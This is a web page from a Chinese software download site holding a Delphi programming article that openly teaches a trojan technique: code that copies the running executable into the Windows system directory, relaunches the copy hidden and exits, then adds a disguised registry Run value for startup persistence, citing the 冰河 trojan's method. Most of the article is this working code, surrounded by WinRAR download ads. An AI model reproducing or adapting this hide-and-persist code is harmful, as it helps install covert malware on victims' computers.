西西軟件園多重安全檢測(cè)下載網(wǎng)站、值得信賴(lài)的軟件下載站!
軟件
軟件
文章
搜索

首頁(yè)編程開(kāi)發(fā)其它知識(shí) → Delphi實(shí)現(xiàn)可執(zhí)行文件(木馬)自我拷貝

Delphi實(shí)現(xiàn)可執(zhí)行文件(木馬)自我拷貝

前往專(zhuān)題相關(guān)文章發(fā)表評(píng)論 來(lái)源:本站原創(chuàng)時(shí)間:2010/4/24 16:04:08字體大�。�A-A+

作者:佚名點(diǎn)擊:356次評(píng)論:1次標(biāo)簽: 編程

winrar免費(fèi)版V5.30 官方正式版
  • 類(lèi)型:壓縮解壓大小:1.8M語(yǔ)言:中文 評(píng)分:5.0
  • 標(biāo)簽:
立即下載

這種方法的原理是程序運(yùn)行時(shí)先查看自己是不是在特定目錄下,如果是就繼續(xù)運(yùn)行,如果不是就把自己拷貝到特定目錄下,然后運(yùn)行新程序,再退出舊程序.
  打開(kāi)Delphi,新建一個(gè)工程,在窗口的Create事件中寫(xiě)代碼:
  procedureTForm1.FormCreate(Sender:TObject);
  var
    myname:string;
  begin
  myname:=ExtractFilename(Application.Exename);//獲得文件名
  ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
  begin
  copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{將自己拷貝到Windows\System\下}
  Winexec(pchar(GetWindir+myname),sw_hide);//運(yùn)行Windows\System\下的新文件
  application.Terminate;//退出
  end;
  end;
  其中GetWinDir是自定義函數(shù),起功能是找出Windows\System\的路徑.
  function GetWinDir:String;
  var
  Buf:array[0..MAX_PATH]ofchar;
  begin
  GetSystemDirectory(Buf,MAX_PATH);
  Result:=Buf;
  ifResult[Length(Result)]<>&#39;\&#39;thenResult:=Result+&#39;\&#39;;
  end;
  如何能使程序能在windows啟動(dòng)時(shí)自動(dòng)啟動(dòng)?
  為了程序能在Windows每次啟動(dòng)時(shí)自動(dòng)運(yùn)行,可以通過(guò)六種途徑來(lái)實(shí)現(xiàn).“冰河”用注冊(cè)表的方式.
  加入Registry單元,改寫(xiě)上面的窗口Create事件,改寫(xiě)后的程序如下:
  procedureTForm1.FormCreate(Sender:TObject);
  constK=&#39;\Software\Microsoft\Windows\CurrentVersion\RunServices&#39;;
  varmyname:string;
  begin
  {WritebyLovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
  myname:=ExtractFilename(Application.Exename);//獲得文件名
  ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
  begin
  copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{//將自己拷貝到Windows\System\下}
  Winexec(pchar(GetWindir+myname),sw_hide);//運(yùn)行Windows\System\下的新文件
  application.Terminate;//退出
  end;
  withTRegistry.Createdo
  try
  RootKey:=HKEY_LOCAL_MACHINE;
  OpenKey(K,TRUE);
  WriteString(&#39;syspler&#39;,application.ExeName);
  finally
  free;
  end;
  end;

    winrar
    (9)winrar
    這款壓縮工具相信大家是很熟悉的了,它能備份你的數(shù)據(jù),減少你的附件的大小,解壓縮從上下載的和其他格式的壓縮文件,并能創(chuàng)建和格式的壓縮文件。的名稱(chēng)其實(shí)就是版本的壓縮文件管理器。其內(nèi)置程序可以解開(kāi)和等多種類(lèi)型的檔案文件鏡像文件和組合型文件具有歷史記錄和收藏夾等功能,這里給大家提供了的免費(fèi)版下載。...更多>>
    • winrar免費(fèi)版V5.30 官方正式版

      11-26 / 1.8M

      推薦理由:WINRAR 是現(xiàn)在最好的壓縮工具,界面友好,使用方便,在壓縮率和速度方面都有很好的表現(xiàn)。其壓縮率比之 WINZ
    • WinRAR 64位中文版v4.20 Final 官

      06-17 / 1.6M

      推薦理由:WinRAR是一個(gè)強(qiáng)大的壓縮文件管理工具。它能備份你的數(shù)據(jù),減少你的E-mail附件的大小,解壓縮從Internet上下
    • WinRAR 64位中文破解版5.31 正式版

      01-19 / 2M

      推薦理由:WinRAR 64位 4.20 正式版烈火漢化。WinRAR 是一個(gè)強(qiáng)大的壓縮文件管理工具。它能備份你的數(shù)據(jù),減少你的 E-m
    • winrar 4.20 簡(jiǎn)體中文版烈火版

      05-27 / 2.0M

      推薦理由:說(shuō)到解壓縮工具,winrar絕對(duì)是一款頂級(jí)軟件,但是平時(shí)大家都是使用原版皮膚,所以我就制作了個(gè)精美皮膚美化
    • WinRAR4.20 Final 官方英文版

      06-14 / 1.4M

      推薦理由:WinRAR 4.11正式版 官方今天終于發(fā)布了。版本 4.111. 錯(cuò)誤修正:a) WinRAR 不能存儲(chǔ)以 NTFS“壓縮”屬性創(chuàng)建
    • WinRARV3.93Final 官方正式版

      03-23 / 1.8M

      推薦理由:WINRAR 是目前流行的壓縮工具,界面友好,使用方便,在壓縮率和速度方面都有很好的表現(xiàn)。其壓縮率比高,3.x

    相關(guān)評(píng)論

    閱讀本文后您有什么感想? 已有人給出評(píng)價(jià)!

    • 8 喜歡喜歡
    • 3 頂
    • 1 難過(guò)難過(guò)
    • 5 囧
    • 3 圍觀圍觀
    • 2 無(wú)聊無(wú)聊

    熱門(mén)評(píng)論

    最新評(píng)論

    發(fā)表評(píng)論 查看所有評(píng)論(1)

    昵稱(chēng):
    表情: 高興 可 汗 我不要 害羞 好 下下下 送花 屎 親親
    字?jǐn)?shù): 0/500 (您的評(píng)論需要經(jīng)過(guò)審核才能顯示)